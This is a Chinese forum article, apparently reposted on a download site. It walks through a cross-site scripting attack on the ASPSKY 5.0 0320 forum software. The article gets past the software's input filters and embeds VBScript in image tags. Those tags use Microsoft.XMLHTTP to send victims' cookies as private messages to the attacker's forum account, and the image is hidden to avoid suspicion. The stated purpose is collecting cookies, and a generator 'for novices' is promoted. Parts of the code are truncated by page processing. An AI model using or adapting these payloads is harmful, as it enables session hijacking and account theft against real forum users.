(注意由于论坛会对文章中的一些字符作处理,所以最好到 http://www.chinansl.com/czy/xmlhttp.txt看文章 http://www.chinansl.com/czy/aspsky5.htm测试代码) 跨站脚本攻击想必各位都已经是很熟悉了,但是得到COOKIE的时候一直有一个 问题:总是要用WINDOW.OPEN弹一个窗体出来然后发送COOKIE,这样隐秘性 就大打折扣了。以前我想了一个在网页中用insertAdjacentHTML方法来注入HTML语句 的办法勉强可以作到发送COOKIE不出现IE窗口,但是在实际使用中有时会遇到IE出错。 没有更好的办法了吗?以前在研究VBS病毒自动升级的时候用到一个Microsoft.XMLHTTP 控件(该控件是WIN98/2K上都默认自带的东东,并且它是IE认为safe的控件!),通过它我们 可以在网页中给网站发送http请求,可以是POST也可以是GET. 好了思路已经到这儿来,下面我们可以实战一下,我以ASPSKY 5.0 0320为例子。 我们知道在SRC中可以写入vbscript:这样的语句。。比如 ,但是我们只能执行一个语句,比如 这样都将是错误的! 怎么办法呢?在VBS中我们可以用EXECUTE语句,在JS中我们可以使用EVAL语! 比如:<img src="vbscript:execute("a=(msgbox(now)):b=(msgbox("czy""))")"> 或是 还没有晕吧?上面你可能会注意到用VBS的execute语句时双引号要换为"这是因为: 在VBS中单引号要括起字符串,必须是两个单引号代表一个又引号,并且在双引号内! 所以在execute语句中我们不能用单引号,而直接用"呢,在HTML进行引号匹配的时候 会和src="后的引号匹配,所以我们只能用"代替了。 引号的问题解决了,在实际应用中ASPSKY还会对我们的代码进行处理: 1:如果发现script字串,会在前面加上一个空格 2:如果发现http字串会认为是一个URL,并在两边加上元素 3:如果发现空格会用 代替 解决问题: 1:vbscript用vbsCript代替 2:http用,""ht""+""tp...代替(vbs中引号括引号里面的应用多一对,+代表连接符) 3:空格用 代替(注不是) 在最后就是发送COOKIE的问题: 1:控件在本地可以GET,POST任意的网站,但是在网页中竟然只能 GET,POST当前服务器。。。。要不然IE就会说拒绝仿问! 2:cookie中不能有&等在URL中有特殊交意的字符 解决问题: 1:只能发给当前服务器,那么可以把COOKIE发到你在论坛上的注册的用户的邮箱嘛:) 2:replace(document.cookie,""&"",""-""),在vbs中用 replace替换函用,在例子中我把"&"换成了"-" 问题都解决了下面是实际的例子: 动网aspsky 5.0 0320测试成功 //---------------------- <a href="http://www.pc6.com/infoview/vbsCript:execute("dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/ yanqing/bbs/usersms.asp?action=send&touser=czy&title=news&submit=发送&message=""&dat,false:http.send")" target=_blank><IMG SRC="http://www.pc6.com/infoview/vbsCript:execute("dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/ yanqing/bbs/usersms.asp?action=send&touser=czy&title=news&submit=发送&message=""&dat,false:http.send")" border=0 alt=按此在新窗口浏览图片 onload='javascript:if(this.width>screen.width-300)this.width=screen.width-300'> 说明:把COOKIE发给CZY用户,邮件标题叫news //---------------------- 另控件的正常用法:
让代码更完美,现在COOKIE已经乖乖的在我们的邮箱里了,但是有一个小问题由于图片不 能正常的显示会是一个小叉,旁边还有按此在新窗口浏览图片的提示。。。这又难免会让人 生疑。
解决思路: 一个网页中的所有IMG元素通过document.imanges都能例举到,并且可以设置它们的大小, 当width=0时就相当于HIDDEN了. 通过比较元素的src属性的值是否含有"ript"就可以判断是不是我们的图片. 另外比较时大于符用>代替,0用0代替! 代码: 0 then:aa.width=0:end if:next")" target=_blank>0 then:aa.width=0:end if:next")" border=0 alt=按此在新窗口浏览图片 onload='javascript:if(this.width>screen.width-300)this.width=screen.width-300'> 实际应用的代码: 0 then: aa.width=0:end if:next:dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/yan qing/bbs/usersms.asp?action=send&touser=czy&title=alll&submit=发送&message=""&dat,false:http.send")" target=_blank>0 then: aa.width=0:end if:next:dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/yan qing/bbs/usersms.asp?action=send&touser=czy&title=alll&submit=发送&message=""&dat,false:http.send")" border=0 alt=按此在新窗口浏览图片 onload='javascript:if(this.width>screen.width-300)this.width=screen.width-300'>
//-------------------方便菜鸟使用:)
ASPSKY 5.0 0320 COOKI搜集器--CZY
设置发送地址: ▲发送地址形如:www.nnit30.com/newbbs(newbbs是网站中论坛的安装目录最后不用加/,也 不要http://头) 发送的用户名:-------------
生成的代码:)
(编辑:555手机网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|